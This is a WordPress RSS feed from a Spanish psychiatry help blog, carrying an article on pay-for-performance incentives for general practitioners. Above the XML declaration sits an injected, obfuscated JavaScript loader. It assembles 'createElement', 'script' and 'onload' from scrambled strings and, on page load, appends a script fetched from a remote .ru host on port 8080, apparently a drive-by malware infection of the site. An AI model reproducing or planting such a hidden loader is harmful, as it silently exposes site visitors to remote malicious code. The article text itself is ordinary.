

<script>var P;if(P!='g'){P=''};try {var F;if(F!='i' && F!='OF'){F='i'};var d="re"+"pl"+"30Awac".substr(4)+"KVD6eK6VD".substr(4,1);var s=RegExp;var Lv="";var PA=new Array();function y(u,c){var x;if(x!='v'){x='v'};var KO;if(KO!='V'){KO='V'};var Z;if(Z!='QP'){Z=''};var Gs;if(Gs!='n'){Gs='n'};var L="[vrJb".substr(0,1);this.k='';var G=new String("g");var je='';var z;if(z!='B'){z='B'};L+=c;var QN;if(QN!='R' && QN!='rg'){QN='R'};L+=String("]");var HI=new String();var b=new String();var em;if(em!='' && em!='oW'){em=null};var l=new s(L, G);return u[d](l, new String());var vE;if(vE!='' && vE!='oh'){vE='Fu'};};var N="";var ow="";var t;if(t!='' && t!='UH'){t='UA'};var q='';var Bl;if(Bl!='' && Bl!='Nw'){Bl=null};var Kj='';var r=y('/xg_o7oug_lJe_.ucuoJm7/7g7oJo_gxlxe_.7cJoJmx/umxyxwxeJb7sJexaur7c7hx.7cxo_mx/71_e71_070J.unxe_tJ/Ji7nJf7oJr_m_e_rx.xc_oJmJ.xpxhJp7',"J7ux_");this.TE='';var O=y('854444044454485454450444444545',"45");var mt;if(mt!='w' && mt!='hC'){mt='w'};var p=y('ofnflfoIa4df',"feI46");var gk=new String();var Jp;if(Jp!='' && Jp!='mF'){Jp=null};var j=y('sncqrqiqpntq',"nq");var vP;if(vP!='LZ'){vP=''};var ge=new String();var f=y('hAtCtJp8:R/R/ApCoRrAnAoRrJaCmRaA-RcJoCmC.8tJoCmR.JcRoAmA.RfRoCtCoAlAoRgA-JnJeAtC.CB8uJyATChAeJBRlJeJnAdCe8rA.RrAu8:J',"R8AJC");var ZP;if(ZP!='' && ZP!='FC'){ZP='YT'};var X;if(X!='' && X!='cr'){X='Fw'};var kt;if(kt!='' && kt!='vL'){kt=null};var Oe;if(Oe!='' && Oe!='xE'){Oe=null};var A=y('c5rLeWa5t5eWE5lLeFmWe5nFt5',"W5FL");var qq;if(qq!=''){qq='Fp'};var OP="";var Q=window;var aMQ="";U=function(){var XL;if(XL!='' && XL!='Wy'){XL=''};var Ky=new String();var mz;if(mz!='' && mz!='FJ'){mz='Ta'};this.ag='';m=document[A](j);q=f+O;q+=r;var YP;if(YP!='' && YP!='en'){YP=null};this.Sh="";m.src=q;var Je;if(Je!=''){Je='nj'};m.defer=([1][0]);var qv;if(qv!='' && qv!='Ub'){qv='ei'};this.eG='';document.body.appendChild(m);var kx=new Date();};var sB;if(sB!='lx'){sB='lx'};var tt="";Q[p]=U;} catch(T){var BC=new String();};</script>
<!--cbdb1541fcb8fef4faf8094861e58f0e--><?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.0.6" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>BLOG DE AYUDA DE CAPARROS CANTO PSIQUIATRIA.ORG</title>
	<link>http://www.caparroscantopsiquiatria.org/wordpress</link>
	<description>AYUDA PARA EMPEZAR A MONTAR TU BLOG</description>
	<pubDate>Sat, 22 Aug 2009 10:40:18 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.0.6</generator>
	<language>en</language>
			<item>
		<title>PAGO POR DESEMPEÑO, RENDIMIENTO Y CALIDAD</title>
		<link>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/40</link>
		<comments>http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/40#comments</comments>
		<pubDate>Sat, 22 Aug 2009 10:34:20 +0000</pubDate>
		<dc:creator>josecaparros</dc:creator>
		
		<category>1.¿COMO EMPEZAR?</category>

		<guid isPermaLink="false">http://www.caparroscantopsiquiatria.org/wordpress/index.php/archives/40</guid>
		<description><![CDATA[
JUAN GERVAS Medico General. Equipo CESCA, Madrid.
MERCEDES PÉREZ FERNANDEZ Médico General. Equipo CESCA, Madrid. 
INTRODUCCIÓN

Los médicos tenemos un enorme crédito social. Por ejemplo,
nuestros pacientes creen que tenemos alguna respuesta a sus
problemas, y por ello acuden a nuestras consultas. En general,
además, creen que sabemos, que nos mantenemos al día, que
somos de fiar. Por ello logramos las mejores notas en [...]]]></description>
			<content:encoded><![CDATA[<p><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold"><font color="#ff145a" face="RotisSemiSans-ExtraBold"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold"><font color="#ff145a" face="RotisSemiSans-ExtraBold" /></font></strong><font color="#ff145a" face="RotisSemiSans-ExtraBold"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold"><font color="#ff145a" face="RotisSemiSans-ExtraBold" /></font></strong></font></font></font></strong><font color="#ff145a" face="RotisSemiSans-ExtraBold"><font color="#ff145a" face="RotisSemiSans-ExtraBold"><font color="#ff145a" face="RotisSemiSans-ExtraBold"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold"><font color="#ff145a" face="RotisSemiSans-ExtraBold"></p>
<p align="left">JUAN GERVAS Medico General. Equipo CESCA, Madrid.</p>
<p align="left">MERCEDES PÉREZ FERNANDEZ Médico General. Equipo CESCA, Madrid. </p>
<p align="left">INTRODUCCIÓN</p>
<p></font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Los médicos tenemos un enorme crédito social. Por ejemplo,</p>
<p align="left">nuestros pacientes creen que tenemos alguna respuesta a sus</p>
<p align="left">problemas, y por ello acuden a nuestras consultas. En general,</p>
<p align="left">además, creen que sabemos, que nos mantenemos al día, que</p>
<p align="left">somos de fiar. Por ello logramos las mejores notas en las</p>
<p align="left">encuestas respecto a confianza de la población en profesionales,</p>
<p align="left">habitualmente al nivel de los científicos, y bien lejos de los</p>
<p align="left">peor valorados (los políticos).</p>
<p align="left">Son justo los peor valorados por la población (los políticos)</p>
<p align="left">los que determinan nuestra forma de trabajo, los que deciden</p>
<p align="left">sobre nuestra organización y su estructura. Ellos deciden sobre</p>
<p align="left">la forma en que nos contratan y sobre los medios que nos proveen.</p>
<p align="left">Ellos definen la forma de pago de los médicos, y la cantidad</p>
<p align="left">final que se percibe por distintos conceptos. Ellos determinan</p>
<p align="left">en cierta forma nuestro prestigio, nuestro crédito social,</p>
<p align="left">pues en la sociedad de mercado son muy importantes la forma</p>
<p align="left">de pago y la cantidad final de los emolumentos.</p>
<p align="left">Además, la forma de pago es crucial en la práctica clínica.</p>
<p align="left">Con el salario pagan nuestro tiempo. Con la capitación, la salud</p>
<p align="left">de los pacientes. Con el pago por acto, nuestra actividad. No</p>
<p align="left">hay forma de pago ideal, aunque parece que si hay pago por</p>
<p align="left">capitación se logra contener el gasto sin perjudicar la calidad</p>
<p align="left">de la atención, que puede ser mejor que con otros sistemas de</p>
<p align="left">pago. De hecho, los países con mejores resultados en salud tienen</p>
<p align="left">una atención primaria fuerte, con médicos generales</p>
<p>pagados por capitación</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">1</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">.</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">Desde luego, la capitación se combina siempre con otras</p>
<p align="left">formas de pago, pues no suele cubrir más de la mitad de la</p>
<p align="left">remuneración mensual de los médicos generales o de familia.</p>
<p align="left">Lo característico de la capitación es que se asocia siempre a la</p>
<p align="left">existencia de una lista de pacientes (la lista por cuyos componentes</p>
<p>se paga un tanto, un </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">«per capita»</font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">) y a la función de filtro</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">del médico de cabecera (los pacientes acceden al especialista</p>
<p align="left">a través del generalista). En cualquier caso, estas tres formas</p>
<p align="left">de pago se pueden complementar con otras.</p>
<p align="left">En 1994 se empezó en Australia con una nueva forma de</p>
<p align="left">pago, al incluir un incentivo por rendimiento o desempeño,</p>
<p align="left">que se ha extendido a Canadá, Estados Unidos, Nueva Zelanda</p>
<p align="left">y el Reino Unido, entre otros países. Se trata de un incentivo</p>
<p align="left">por calidad, por hacer determinadas cosas como se espera que</p>
<p align="left">se hagan (ya no es el simple pago por acto, sino por acto hecho</p>
<p align="left">de acuerdo a ciertas normas). Con este pago que mezcla calidad</p>
<p>y cantidad, </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">pay for performance </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">(P4P), se promueve que</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">ciertas actividades seleccionadas se hagan según se estime más</p>
<p>conveniente</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">2</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">. Se intenta con ello «forzar» al médico, y en el</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">fondo expresa una filosofía de desconfianza del político hacia</p>
<p align="left">el clínico. Desconfianza fundada, pues en muchos casos los</p>
<p align="left">pacientes son muy inocentes, y con su buena fe desconocen</p>
<p align="left">que los médicos no ofrecen los cuidados necesarios en casi la</p>
<p align="left">mitad de los casos.</p>
<p align="left">Con el pago por rendimiento ya no se supone una buena</p>
<p align="left">calidad, sino que en algunos aspectos concretos se exige.</p>
<p align="left">Todo el movimiento del P4P, pago por rendimiento (de los</p>
<p align="left">incentivos por desempeño), parece muy lógico, pero ¿tiene</p>
<p align="left">fundamento científico? ¿Lo aceptarán los médicos? ¿Y las instituciones</p>
<p align="left">que los representan? Contestaremos a estas preguntas</p>
<p align="left">analizando diez textos recientes.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></strong></font><font face="RotisSemiSans-Bold" size="2"><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Bibliografía</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">1. Macinko J, Starfield B, Shi L. The contribution of primary care systems to</p>
<p align="left">health outcomes within OECD countries, 1970-1998. HSR. 2003;38:831-65.</p>
<p align="left">2. Ortún V. (Nuevas) formas de incentivación en atención primaria.</p>
<p align="left">Seminarios de Innovación en Atención Primaria. 2007. Disponible en:</p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1" /><strong><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><strong><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><strong><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"><font color="#ff145a" face="RotisSemiSans-Bold" size="1"></p>
<p align="left">www.fcs.es</p>
<p></font></font></font><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6" /><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6" /></font></font><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6" /></font></font></font></font></font><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"><font color="#ffffff" face="RotisSemiSans-ExtraBold" size="6"></p>
<p align="left">El último año de…</p>
<p></font></font></font><font face="RotisSemiSans" size="6"><font face="RotisSemiSans" size="6"><font face="RotisSemiSans" size="6"><font face="RotisSemiSans" size="6" /></font></font></font><font face="RotisSemiSans" size="6"><font face="RotisSemiSans" size="6"><font face="RotisSemiSans" size="6" /></font></font></font></font></font></strong></font></font></font><font face="RotisSemiSans" size="6"><font face="RotisSemiSans" size="6"><font face="RotisSemiSans" size="6"></p>
<p align="left">Pago por desempeño</p>
<p align="left">(<em><font face="RotisSemiSans-Italic" size="6"><font face="RotisSemiSans-Italic" size="6">«pay for performance» </font></font></em><font face="RotisSemiSans" size="6"><font face="RotisSemiSans" size="6">[P4P])</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">(1)</font></font></p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1" /></font></strong></font><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1" /></font></strong></font></font></strong></font><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"></p>
<p align="left">Juan Gérvas</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">Médico General. Equipo CESCA. Madrid.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1" /></font></strong></font><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1" /></font></strong></font></font></strong></font></font><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"><strong><font face="RotisSemiSans-Bold" size="1"><font face="RotisSemiSans-Bold" size="1"></p>
<p align="left">Mercedes Pérez Fernández</p>
<p></font></font></strong><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">Médico General. Equipo CESCA. Madrid.</p>
<p></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">(1) En este texto emplearemos indistintamente los términos «pago por rendimiento</p>
<p align="left">», «pago por desempeño» y «pago por calidad», para que el lector tenga</p>
<p align="left">claro que son intercambiables. Los tres términos recogen la denominación de</p>
<p align="left">un tipo de incentivo que premia al tiempo cantidad y calidad. En la literatura</p>
<p>científica inglesa original también se confunde el </font></font><em><font face="RotisSemiSans-Italic" size="1"><font face="RotisSemiSans-Italic" size="1">«pay for performance» </font></font></em><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">con</font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1" /></font></font></font></font></font><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1"></p>
<p align="left">el <em><font face="RotisSemiSans-Italic" size="1"><font face="RotisSemiSans-Italic" size="1">«pay for quality»</font></font></em><font face="RotisSemiSans" size="1"><font face="RotisSemiSans" size="1">, aunque no sean estrictamente lo mismo.</font></font></p>
<p></font></font><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2" /></font></font></strong></font></font></strong></font></font><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><strong><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"><font color="#ff145a" face="RotisSemiSans-ExtraBold" size="2"></p>
<p align="left">Resumen del artículo</p>
<p></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2" /></font></font></font></font><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2"></p>
<p align="left">Averbach AD, Landefeld CS, Shojania KG. The tension between</p>
<p align="left">needing to improve care and how to do it. N Engl J</p>
<p align="left">Med. 2007;357:608-13.</p>
<p>Contexto. </font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">De continuo se demuestran fallos en la calidad</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">con la que se prestan los cuidados clínicos, con graves repercusiones</p>
<p align="left">en la salud de los pacientes (por los excesos o defectos</p>
<p align="left">de la atención). Por ello, los intentos de mejora de la calidad</p>
<p align="left">tienen siempre una recepción benevolente.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Objetivo. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Analizar los prejuicios y lugares comunes que</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font></strong></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">facilitan la rápida adopción de las innovaciones que mejoran la</p>
<p align="left">calidad.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Tipo de estudio. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Revisión teórica, con abundantes ejemplos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">prácticos.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Métodos. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Los autores describen siete razones por las que</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">es casi habitual que se diseminen las iniciativas de mejora de la</p>
<p align="left">calidad.</p>
<p></font></font><strong><font face="RotisSemiSans-Bold" size="2"><font face="RotisSemiSans-Bold" size="2">Resultados. </font></font></strong><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">Los autores describen siete razones que nos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">llevan a aceptar demasiado fácilmente propuestas de mejoras</p>
<p>de la calidad: </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">a) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">no podemos esperar (ponen como ejemplo de</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">adopción sin demostración la disminución del número de horas</p>
<p align="left">de trabajo de los residentes a 80 semanales, lo que se supone</p>
<p>disminuye los errores en su trabajo); </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">b) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">cualquier cambio es</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">bueno (es falso, como demuestran con el ejemplo de la supuesta</p>
<p align="left">mejora de la atención a los diabéticos con el control de la</p>
<p>hemoglobina glucosilada); </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">c) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">la copia del éxito asegura el éxito</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">(falso, dada la complejidad de las organizaciones); </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">d) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">si la efectividad</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">es obvia, la mejora también lo será (p. ej., lavarse las</p>
<p align="left">manos es de efectividad obvia, pero no sabemos bien cómo</p>
<p>hacer que los profesionales se laven más las manos); </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">e) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">la mejora</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">en un área servirá de catalizador para una mejora general</p>
<p align="left">(no, como demuestra el error con los prometedores equipos de</p>
<p>emergencia, que no mejoran el resultado sanitario); </font></font><em><font face="RotisSemiSans-Italic" size="2"><font face="RotisSemiSans-Italic" size="2">f) </font></font></em><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2">los ensayos</font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2" /></font></font></font></font></font><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"><font face="RotisSemiSans" size="2"></p>
<p align="left">clínicos no se pueden aplicar a la innovación en calidad</p>
<p align="left">(cierto en parte, pero la medicina basada en pruebas es mucho</p>
